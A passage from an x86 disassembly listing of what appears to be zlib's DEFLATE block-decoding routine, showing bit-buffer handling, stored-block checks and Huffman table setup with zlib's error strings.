[ecx+8], eax mov edx, [ebp+arg_4] mov eax, [ebp+Src] mov [edx], eax mov ecx, [ebp+arg_0] mov edx, [ebp+Dst] mov [ecx+34h], edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_4C7C50 add esp, 0Ch jmp loc_4C6261 ; --------------------------------------------------------------------------- loc_4C500C: ; CODE XREF: sub_4C4F0F+A0j mov eax, [ebp+var_1C] sub eax, 1 mov [ebp+var_1C], eax mov ecx, [ebp+Src] xor edx, edx mov dl, [ecx] mov ecx, [ebp+var_14] shl edx, cl mov eax, [ebp+var_C] or eax, edx mov [ebp+var_C], eax mov ecx, [ebp+Src] add ecx, 1 mov [ebp+Src], ecx mov edx, [ebp+var_14] add edx, 8 mov [ebp+var_14], edx jmp loc_4C4F98 ; --------------------------------------------------------------------------- loc_4C5040: ; CODE XREF: sub_4C4F0F+8Dj mov eax, [ebp+var_C] and eax, 7 mov [ebp+Size], eax mov ecx, [ebp+Size] and ecx, 1 mov edx, [ebp+arg_0] mov [edx+18h], ecx mov eax, [ebp+Size] shr eax, 1 mov [ebp+var_5C], eax cmp [ebp+var_5C], 3 ja loc_4C521E mov ecx, [ebp+var_5C] jmp ds:off_4C628D[ecx*4] loc_4C5071: ; CODE XREF: sub_4C4F0F+82j ; DATA XREF: .text:off_4C628Do mov edx, [ebp+var_C] shr edx, 3 mov [ebp+var_C], edx mov eax, [ebp+var_14] sub eax, 3 mov [ebp+var_14], eax mov ecx, [ebp+var_14] and ecx, 7 mov [ebp+Size], ecx mov edx, [ebp+var_C] mov ecx, [ebp+Size] shr edx, cl mov [ebp+var_C], edx mov eax, [ebp+var_14] sub eax, [ebp+Size] mov [ebp+var_14], eax mov ecx, [ebp+arg_0] mov dword ptr [ecx], 1 jmp loc_4C521E ; --------------------------------------------------------------------------- loc_4C50AE: ; CODE XREF: sub_4C4F0F+82j ; sub_4C4F0F+15Bj ; DATA XREF: ... mov edx, [ebp+arg_4] push edx lea eax, [ebp+var_2C] push eax lea ecx, [ebp+var_24] push ecx lea edx, [ebp+var_20] push edx lea eax, [ebp+var_28] push eax call sub_4C7C1B add esp, 14h mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+var_2C] push edx mov eax, [ebp+var_24] push eax mov ecx, [ebp+var_20] push ecx mov edx, [ebp+var_28] push edx call sub_4C6350 add esp, 14h mov ecx, [ebp+arg_0] mov [ecx+4], eax mov edx, [ebp+arg_0] cmp dword ptr [edx+4], 0 jnz short loc_4C5157 mov [ebp+arg_8], 0FFFFFFFCh mov eax, [ebp+arg_0] mov ecx, [ebp+var_C] mov [eax+20h], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_14] mov [edx+1Ch], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_1C] mov [ecx+4], edx mov eax, [ebp+arg_4] mov ecx, [ebp+Src] sub ecx, [eax] mov edx, [ebp+arg_4] mov eax, [edx+8] add eax, ecx mov ecx, [ebp+arg_4] mov [ecx+8], eax mov edx, [ebp+arg_4] mov eax, [ebp+Src] mov [edx], eax mov ecx, [ebp+arg_0] mov edx, [ebp+Dst] mov [ecx+34h], edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_4C7C50 add esp, 0Ch jmp loc_4C6261 ; --------------------------------------------------------------------------- loc_4C5157: ; CODE XREF: sub_4C4F0F+1E4j mov eax, [ebp+var_C] shr eax, 3 mov [ebp+var_C], eax mov ecx, [ebp+var_14] sub ecx, 3 mov [ebp+var_14], ecx mov edx, [ebp+arg_0] mov dword ptr [edx], 6 jmp loc_4C521E ; --------------------------------------------------------------------------- loc_4C5177: ; CODE XREF: sub_4C4F0F+82j ; sub_4C4F0F+15Bj ; DATA XREF: ... mov eax, [ebp+var_C] shr eax, 3 mov [ebp+var_C], eax mov ecx, [ebp+var_14] sub ecx, 3 mov [ebp+var_14], ecx mov edx, [ebp+arg_0] mov dword ptr [edx], 3 jmp loc_4C521E ; --------------------------------------------------------------------------- loc_4C5197: ; CODE XREF: sub_4C4F0F+82j ; sub_4C4F0F+15Bj ; DATA XREF: ... mov eax, [ebp+var_C] shr eax, 3 mov [ebp+var_C], eax mov ecx, [ebp+var_14] sub ecx, 3 mov [ebp+var_14], ecx mov edx, [ebp+arg_0] mov dword ptr [edx], 9 mov eax, [ebp+arg_4] mov dword ptr [eax+18h], offset aInvalidBlockTy ; "invalid block type" mov [ebp+arg_8], 0FFFFFFFDh mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_1C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+Src] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+Src] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+Dst] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_4C7C50 add esp, 0Ch jmp loc_4C6261 ; --------------------------------------------------------------------------- loc_4C521E: ; CODE XREF: sub_4C4F0F+152j ; sub_4C4F0F+19Aj ... jmp loc_4C625C ; --------------------------------------------------------------------------- loc_4C5223: ; CODE XREF: sub_4C4F0F+82j ; sub_4C4F0F+3B7j ; DATA XREF: ... cmp [ebp+var_14], 20h jnb loc_4C52CB cmp [ebp+var_1C], 0 jz short loc_4C523C mov [ebp+arg_8], 0 jmp short loc_4C5297 ; --------------------------------------------------------------------------- loc_4C523C: ; CODE XREF: sub_4C4F0F+322j mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_1C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+Src] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+Src] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+Dst] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_4C7C50 add esp, 0Ch jmp loc_4C6261 ; --------------------------------------------------------------------------- loc_4C5297: ; CODE XREF: sub_4C4F0F+32Bj mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx mov edx, [ebp+Src] xor eax, eax mov al, [edx] mov ecx, [ebp+var_14] shl eax, cl mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+Src] add edx, 1 mov [ebp+Src], edx mov eax, [ebp+var_14] add eax, 8 mov [ebp+var_14], eax jmp loc_4C5223 ; --------------------------------------------------------------------------- loc_4C52CB: ; CODE XREF: sub_4C4F0F+318j mov ecx, [ebp+var_C] not ecx shr ecx, 10h and ecx, 0FFFFh mov edx, [ebp+var_C] and edx, 0FFFFh cmp ecx, edx jz short loc_4C535B mov eax, [ebp+arg_0] mov dword ptr [eax], 9 mov ecx, [ebp+arg_4] mov dword ptr [ecx+18h], offset aInvalidStoredB ; "invalid stored block lengths" mov [ebp+arg_8], 0FFFFFFFDh mov edx, [ebp+arg_0] mov eax, [ebp+var_C] mov [edx+20h], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_14] mov [ecx+1Ch], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_1C] mov [eax+4], ecx mov edx, [ebp+arg_4] mov eax, [ebp+Src] sub eax, [edx] mov ecx, [ebp+arg_4] mov edx, [ecx+8] add edx, eax mov eax, [ebp+arg_4] mov [eax+8], edx mov ecx, [ebp+arg_4] mov edx, [ebp+Src] mov [ecx], edx mov eax, [ebp+arg_0] mov ecx, [ebp+Dst] mov [eax+34h], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_4C7C50 add esp, 0Ch jmp loc_4C6261 ; --------------------------------------------------------------------------- loc_4C535B: ; CODE XREF: sub_4C4F0F+3D5j mov edx, [ebp+var_C] and edx, 0FFFFh mov eax, [ebp+arg_0] mov [eax+4], edx mov [ebp+var_14], 0 mov ecx, [ebp+var_14] mov [ebp+var_C], ecx mov edx, [ebp+arg_0] cmp dword ptr [edx+4], 0 jz short loc_4C5389 mov [ebp+var_60], 2 jmp short loc_4C5399 ; --------------------------------------------------------------------------- loc_4C5389: ; CODE XREF: sub_4C4F0F+46Fj mov eax, [ebp+arg_0] mov ecx, [eax+18h] neg ecx sbb ecx, ecx and ecx, 7 mov [ebp+var_60], ecx loc_4C5399: ; CODE XREF: sub_4C4F0F+478j mov edx, [ebp+arg_0] mov eax, [ebp+var_60] mov [edx], eax jmp loc_4C625C ; --------------------------------------------------------------------------- loc_4C53A6: ; CODE XREF: sub_4C4F0F+82j ; DATA XREF: .text:004C626Do cmp [ebp+var_1C], 0 jnz short loc_4C5407 mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_1C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+Src] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+Src] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+Dst] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_4C7C50 add esp, 0Ch jmp loc_4C6261 ; --------------------------------------------------------------------------- loc_4C5407: ; CODE XREF: sub_4C4F0F+49Bj cmp [ebp+var_18], 0 jnz loc_4C5573 mov ecx, [ebp+arg_0] mov edx, [ebp+Dst] cmp edx, [ecx+2Ch] jnz short loc_4C5461 mov eax, [ebp+arg_0] mov ecx, [ebp+arg_0] mov edx, [eax+30h] cmp edx, [ecx+28h] jz short loc_4C5461 mov eax, [ebp+arg_0] mov ecx, [eax+28h] mov [ebp+Dst], ecx mov edx, [ebp+arg_0] mov eax, [ebp+Dst] cmp eax, [edx+30h] jnb short loc_4C544F mov ecx, [ebp+arg_0] mov edx, [ecx+30h] sub edx, [ebp+Dst] sub edx, 1 mov [ebp+var_64], edx jmp short loc_4C545B ; --------------------------------------------------------------------------- loc_4C544F: ; CODE XREF: sub_4C4F0F+52Dj mov eax, [ebp+arg_0] mov ecx, [eax+2Ch] sub ecx, [ebp+Dst] mov [ebp+var_64], ecx loc_4C545B: ; CODE XREF: sub_4C4F0F+53Ej mov edx, [ebp+var_64] mov [ebp+var_18], edx loc_4C5461: ; CODE XREF: sub_4C4F0F+50Bj ; sub_4C4F0F+519j cmp [ebp+var_18], 0 jnz loc_4C5573 mov eax, [ebp+arg_0] mov ecx, [ebp+Dst] mov [eax+34h], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_4C7C50 add esp, 0Ch mov [ebp+arg_8], eax mov edx, [ebp+arg_0] mov eax, [edx+34h] mov [ebp+Dst], eax mov ecx, [ebp+arg_0] mov edx, [ebp+Dst] cmp edx, [ecx+30h] jnb short loc_4C54B0 mov eax, [ebp+arg_0] mov ecx, [eax+30h] sub ecx, [ebp+Dst] sub ecx, 1 mov [ebp+var_68], ecx jmp short loc_4C54BC ; --------------------------------------------------------------------------- loc_4C54B0: ; CODE XREF: sub_4C4F0F+58Ej mov edx, [ebp+arg_0] mov eax, [edx+2Ch] sub eax, [ebp+Dst] mov [ebp+var_68], eax loc_4C54BC: ; CODE XREF: sub_4C4F0F+59Fj mov ecx, [ebp+var_68] mov [ebp+var_18], ecx mov edx, [ebp+arg_0] mov eax, [ebp+Dst] cmp eax, [edx+2Ch] jnz short loc_4C5512 mov ecx, [ebp+arg_0] mov edx, [ebp+arg_0] mov eax, [ecx+30h] cmp eax, [edx+28h] jz short loc_4C5512 mov ecx, [ebp+arg_0] mov edx, [ecx+28h] mov [ebp+Dst], edx mov eax, [ebp+arg_0] mov ecx, [ebp+Dst] cmp ecx, [eax+30h] jnb short loc_4C5500 mov edx, [ebp+arg_0] mov eax, [edx+30h] sub eax, [ebp+Dst] sub eax, 1 mov [ebp+var_6C], eax jmp short loc_4C550C ; --------------------------------------------------------------------------- loc_4C5500: ; CODE XREF: sub_4C4F0F+5DEj mov ecx, [ebp+arg_0] mov edx, [ecx+2Ch] sub edx, [ebp+Dst] mov [ebp+var_6C], edx loc_4C550C: ; CODE XREF: sub_4C4F0F+5EFj mov eax, [ebp+var_6C] mov [ebp+var_18], eax loc_4C5512: ; CODE XREF: sub_4C4F0F+5BCj ; sub_4C4F0F+5CAj cmp [ebp+var_18], 0 jnz short loc_4C5573 mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_1C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+Src] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+Src] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+Dst] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_4C7C50 add esp, 0Ch jmp loc_4C6261 ; --------------------------------------------------------------------------- loc_4C5573: ; CODE XREF: sub_4C4F0F+4FCj ; sub_4C4F0F+556j ... mov [ebp+arg_8], 0 mov ecx, [ebp+arg_0] mov edx, [ecx+4] mov [ebp+Size], edx mov eax, [ebp+Size] cmp eax, [ebp+var_1C] jbe short loc_4C5591 mov ecx, [ebp+var_1C] mov [ebp+Size], ecx loc_4C5591: ; CODE XREF: sub_4C4F0F+67Aj mov edx, [ebp+Size] cmp edx, [ebp+var_18] jbe short loc_4C559F mov eax, [ebp+var_18] mov [ebp+Size], eax loc_4C559F: ; CODE XREF: sub_4C4F0F+688j mov ecx, [ebp+Size] push ecx ; Size mov edx, [ebp+Src] push edx ; Src mov eax, [ebp+Dst] push eax ; Dst call _memcpy_1 add esp, 0Ch mov ecx, [ebp+Src] add ecx, [ebp+Size] mov [ebp+Src], ecx mov edx, [ebp+var_1C] sub edx, [ebp+Size] mov [ebp+var_1C], edx mov eax, [ebp+Dst] add eax, [ebp+Size] mov [ebp+Dst], eax mov ecx, [ebp+var_18] sub ecx, [ebp+Size] mov [ebp+var_18], ecx mov edx, [ebp+arg_0] mov eax, [edx+4] sub eax, [ebp+Size] mov ecx, [ebp+arg_0] mov [ecx+4], eax mov edx, [ebp+arg_0] cmp dword ptr [edx+4], 0 jz short loc_4C55F4 jmp loc_4C625C ; --------------------------------------------------------------------------- loc_4C55F4: ; CODE XREF: sub_4C4F0F+6DEj mov eax, [ebp+arg_0] mov ecx, [eax+18h] neg ecx sbb ecx, ecx and ecx, 7 mov edx, [ebp+arg_0] mov [edx], ecx jmp loc_4C625C ; --------------------------------------------------------------------------- loc_4C560B: ; CODE XREF: sub_4C4F0F+82j ; sub_4C4F0F+79Fj ; DATA XREF: ... cmp [ebp+var_14], 0Eh jnb loc_4C56B3 cmp [ebp+var_1C], 0 jz short loc_4C5624 mov [ebp+arg_8], 0 jmp short loc_4C567F ; --------------------------------------------------------------------------- loc_4C5624: ; CODE XREF: sub_4C4F0F+70Aj mov eax, [ebp+arg_0] mov ecx, [ebp+var_C] mov [eax+20h], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_14] mov [edx+1Ch], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_1C] mov [ecx+4], edx mov eax, [ebp+arg_4] mov ecx, [ebp+Src] sub ecx, [eax] mov edx, [ebp+arg_4] mov eax, [edx+8] add eax, ecx mov ecx, [ebp+arg_4] mov [ecx+8], eax mov edx, [ebp+arg_4] mov eax, [ebp+Src] mov [edx], eax mov ecx, [ebp+arg_0] mov edx, [ebp+Dst] mov [ecx+34h], edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_4C7C50 add esp, 0Ch jmp loc_4C6261 ; --------------------------------------------------------------------------- loc_4C567F: ; CODE XREF: sub_4C4F0F+713j mov eax, [ebp+var_1C] sub eax, 1 mov [ebp+var_1C], eax mov ecx, [ebp+Src] xor edx, edx mov dl, [ecx] mov ecx, [ebp+var_14] shl edx, cl mov eax, [ebp+var_C] or eax, edx mov [ebp+var_C], eax mov ecx, [ebp+Src] add ecx, 1 mov [ebp+Src], ecx mov edx, [ebp+var_14] add edx, 8 mov [ebp+var_14], edx jmp loc_4C560B ; --------------------------------------------------------------------------- loc_4C56B3: ; CODE XREF: sub_4C4F0F+700j mov eax, [ebp+var_C] and eax, 3FFFh mov [ebp+Size], eax mov ecx, [ebp+arg_0] mov edx, [ebp+Size] mov [ecx+4], edx mov eax, [ebp+Size] and eax, 1Fh cmp eax, 1Dh ja short loc_4C56E0 mov ecx, [ebp+Size] shr ecx, 5 and ecx, 1Fh cmp ecx, 1Dh jbe short loc_4C5755 loc_4C56E0: ; CODE XREF: sub_4C4F0F+7C1j mov edx, [ebp+arg_0] mov dword ptr [edx], 9 mov eax, [ebp+arg_4] mov dword ptr [eax+18h], offset aTooManyLengthO ; "too many length or distance symbols" mov [ebp+arg_8], 0FFFFFFFDh mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_1C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+Src] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+Src] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+Dst] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_4C7C50 add esp, 0Ch jmp loc_4C6261 ; --------------------------------------------------------------------------- loc_4C5755: ; CODE XREF: sub_4C4F0F+7CFj mov ecx, [ebp+Size] and ecx, 1Fh mov edx, [ebp+Size] shr edx, 5 and edx, 1Fh lea eax, [ecx+edx+102h] mov [ebp+Size], eax push 4 mov ecx, [ebp+Size] push ecx mov edx, [ebp+arg_4] mov eax, [edx+28h] push eax mov ecx, [ebp+arg_4] call dword ptr [ecx+20h] add esp, 0Ch mov edx, [ebp+arg_0] mov [edx+0Ch], eax mov eax, [ebp+arg_0] cmp dword ptr [eax+0Ch], 0 jnz short loc_4C57F5 mov [ebp+arg_8], 0FFFFFFFCh mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_1C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+Src] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+Src] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+Dst] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_4C7C50 add esp, 0Ch jmp loc_4C6261 ; --------------------------------------------------------------------------- loc_4C57F5: ; CODE XREF: sub_4C4F0F+882j mov ecx, [ebp+var_C] shr ecx, 0Eh mov [ebp+var_C], ecx mov edx, [ebp+var_14] sub edx, 0Eh mov [ebp+var_14], edx mov eax, [ebp+arg_0] mov dword ptr [eax+8], 0 mov ecx, [ebp+arg_0] mov dword ptr [ecx], 4 loc_4C581A: ; CODE XREF: sub_4C4F0F+82j ; sub_4C4F0F+A0Aj ; DATA XREF: ... mov edx, [ebp+arg_0] mov eax, [edx+4] shr eax, 0Ah add eax, 4 mov ecx, [ebp+arg_0] cmp [ecx+8], eax jnb loc_4C591E loc_4C5832: ; CODE XREF: sub_4C4F0F+9C8j cmp [ebp+var_14], 3 jnb loc_4C58DC cmp [ebp+var_1C], 0 jz short loc_4C584B mov [ebp+arg_8], 0 jmp short loc_4C58A6 ; --------------------------------------------------------------------------- loc_4C584B: ; CODE XREF: sub_4C4F0F+931j mov edx, [ebp+arg_0] mov eax, [ebp+var_C] mov [edx+20h], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_14] mov [ecx+1Ch], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_1C] mov [eax+4], ecx mov edx, [ebp+arg_4] mov eax, [ebp+Src] sub eax, [edx] mov ecx, [ebp+arg_4] mov edx, [ecx+8] add edx, eax mov eax, [ebp+arg_4] mov [eax+8], edx mov ecx, [ebp+arg_4] mov edx, [ebp+Src] mov [ecx], edx mov eax, [ebp+arg_0] mov ecx, [ebp+Dst] mov [eax+34h], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_4C7C50 add esp, 0Ch jmp loc_4C6261 ; --------------------------------------------------------------------------- loc_4C58A6: ; CODE XREF: sub_4C4F0F+93Aj mov edx, [ebp+var_1C] sub edx, 1 mov [ebp+var_1C], edx mov eax, [ebp+Src] xor ecx, ecx mov cl, [eax] mov edx, ecx mov ecx, [ebp+var_14] shl edx, cl mov eax, [ebp+var_C] or eax, edx mov [ebp+var_C], eax mov ecx, [ebp+Src] add ecx, 1 mov [ebp+Src], ecx mov edx, [ebp+var_14] add edx, 8 mov [ebp+var_14], edx jmp loc_4C5832 ; --------------------------------------------------------------------------- loc_4C58DC: ; CODE XREF: sub_4C4F0F+927j mov eax, [ebp+var_C] and eax, 7 mov ecx, [ebp+arg_0] mov edx, [ecx+8] mov ecx, dword_4F2E8C[edx*4] mov edx, [ebp+arg_0] mov edx, [edx+0Ch] mov [edx+ecx*4], eax mov eax, [ebp+arg_0] mov ecx, [eax+8] add ecx, 1 mov edx, [ebp+arg_0] mov [edx+8], ecx mov eax, [ebp+var_C] shr eax, 3 mov [ebp+var_C], eax mov ecx, [ebp+var_14] sub ecx, 3 mov [ebp+var_14], ecx jmp loc_4C581A ; --------------------------------------------------------------------------- loc_4C591E: ; CODE XREF: sub_4C4F0F+91Dj ; sub_4C4F0F+A41j mov edx, [ebp+arg_0] cmp dword ptr [edx+8], 13h jnb short loc_4C5952 mov eax, [ebp+arg_0] mov ecx, [eax+8] mov edx, dword_4F2E8C[ecx*4] mov eax, [ebp+arg_0] mov ecx, [eax+0Ch] mov dword ptr [ecx+edx*4], 0 mov edx, [ebp+arg_0] mov eax, [edx+8] add eax, 1 mov ecx, [ebp+arg_0] mov [ecx+8], eax jmp short loc_4C591E ; --------------------------------------------------------------------------- loc_4C5952: ; CODE XREF: sub_4C4F0F+A16j mov edx, [ebp+arg_0] mov dword ptr [edx+10h], 7 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] mov edx, [ecx+24h] push edx mov eax, [ebp+arg_0] add eax, 14h push eax mov ecx, [ebp+arg_0] add ecx, 10h push ecx mov edx, [ebp+arg_0] mov eax, [edx+0Ch] push eax call sub_4C7120 add esp, 14h mov [ebp+Size], eax cmp [ebp+Size], 0 jz loc_4C5A18 mov ecx, [ebp+Size] mov [ebp+arg_8], ecx cmp [ebp+arg_8], 0FFFFFFFDh jnz short loc_4C59BD mov edx, [ebp+arg_0] mov eax, [edx+0Ch] push eax mov ecx, [ebp+arg_4] mov edx, [ecx+28h] push edx mov eax, [ebp+arg_4] call dword ptr [eax+24h] add esp, 8 mov ecx, [ebp+arg_0] mov dword ptr [ecx], 9 loc_4C59BD: ; CODE XREF: sub_4C4F0F+A8Cj mov edx, [ebp+arg_0] mov eax, [ebp+var_C] mov [edx+20h], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_14] mov [ecx+1Ch], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_1C] mov [eax+4], ecx mov edx, [ebp+arg_4] mov eax, [ebp+Src] sub eax, [edx] mov ecx, [ebp+arg_4] mov edx, [ecx+8] add edx, eax mov eax, [ebp+arg_4] mov [eax+8], edx mov ecx, [ebp+arg_4] mov edx, [ebp+Src] mov [ecx], edx mov eax, [ebp+arg_0] mov ecx, [ebp+Dst] mov [eax+34h], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_4C7C50 add esp, 0Ch jmp loc_4C6261 ; --------------------------------------------------------------------------- loc_4C5A18: ; CODE XREF: sub_4C4F0F+A7Cj mov edx, [ebp+arg_0] mov dword ptr [edx+8], 0 mov eax, [ebp+arg_0] mov dword ptr [eax], 5 loc_4C5A2B: ; CODE XREF: sub_4C4F0F+82j ; sub_4C4F0F:loc_4C5DB9j ; DATA XREF: ... mov ecx, [ebp+arg_0] mov edx, [ecx+4] mov [ebp+Size], edx mov eax, [ebp+Size] and eax, 1Fh mov ecx, [ebp+Size] shr ecx, 5 and ecx, 1Fh lea edx, [eax+ecx+102h] mov eax, [ebp+arg_0] cmp [eax+8], edx jnb loc_4C5DBE mov ecx, [ebp+arg_0] mov edx, [ecx+10h] mov [ebp+Size], edx loc_4C5A5F: ; CODE XREF: sub_4C4F0F+BF5j mov eax, [ebp+var_14] cmp eax, [ebp+Size] jnb loc_4C5B09 cmp [ebp+var_1C], 0 jz short loc_4C5A7A mov [ebp+arg_8], 0 jmp short loc_4C5AD5 ; --------------------------------------------------------------------------- loc_4C5A7A: ; CODE XREF: sub_4C4F0F+B60j mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_1C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+Src] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+Src] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+Dst] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_4C7C50 add esp, 0Ch jmp loc_4C6261 ; --------------------------------------------------------------------------- loc_4C5AD5: ; CODE XREF: sub_4C4F0F+B69j mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx mov edx, [ebp+Src] xor eax, eax mov al, [edx] mov ecx, [ebp+var_14] shl eax, cl mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+Src] add edx, 1 mov [ebp+Src], edx mov eax, [ebp+var_14] add eax, 8 mov [ebp+var_14], eax jmp loc_4C5A5F ; --------------------------------------------------------------------------- loc_4C5B09: ; CODE XREF: sub_4C4F0F+B56j mov ecx, [ebp+Size] mov edx, [ebp+var_C] and edx, dword_4EF200[ecx*4] mov eax, [ebp+arg_0] mov ecx, [eax+14h] lea edx, [ecx+edx*8] mov [ebp+var_34], edx mov eax, [ebp+var_34] xor ecx, ecx mov cl, [eax+1] mov [ebp+Size], ecx mov edx, [ebp+var_34] mov eax, [edx+4] mov [ebp+var_30], eax cmp [ebp+var_30], 10h jnb short loc_4C5B76 mov edx, [ebp+var_C] mov ecx, [ebp+Size] shr edx, cl mov [ebp+var_C], edx mov eax, [ebp+var_14] sub eax, [ebp+Size] mov [ebp+var_14], eax mov ecx, [ebp+arg_0] mov edx, [ecx+8] mov eax, [ebp+arg_0] mov ecx, [eax+0Ch] mov eax, [ebp+var_30] mov [ecx+edx*4], eax mov ecx, [ebp+arg_0] mov edx, [ecx+8] add edx, 1 mov eax, [ebp+arg_0] mov [eax+8], edx jmp loc_4C5DB9 ; --------------------------------------------------------------------------- loc_4C5B76: ; CODE XREF: sub_4C4F0F+C2Bj cmp [ebp+var_30], 12h jnz short loc_4C5B85 mov [ebp+var_70], 7 jmp short loc_4C5B8E ; --------------------------------------------------------------------------- loc_4C5B85: ; CODE XREF: sub_4C4F0F+C6Bj mov ecx, [ebp+var_30] sub ecx, 0Eh mov [ebp+var_70], ecx loc_4C5B8E: ; CODE XREF: sub_4C4F0F+C74j mov edx, [ebp+var_70] mov [ebp+var_38], edx mov eax, [ebp+var_30] sub eax, 12h neg eax sbb eax, eax and al, 0F8h add eax, 0Bh mov [ebp+var_3C], eax loc_4C5BA6: ; CODE XREF: sub_4C4F0F+D41j mov ecx, [ebp+Size] add ecx, [ebp+var_38] cmp [ebp+var_14], ecx jnb loc_4C5C55 cmp [ebp+var_1C], 0 jz short loc_4C5BC4 mov [ebp+arg_8], 0 jmp short loc_4C5C1F ; --------------------------------------------------------------------------- loc_4C5BC4: ; CODE XREF: sub_4C4F0F+CAAj mov edx, [ebp+arg_0] mov 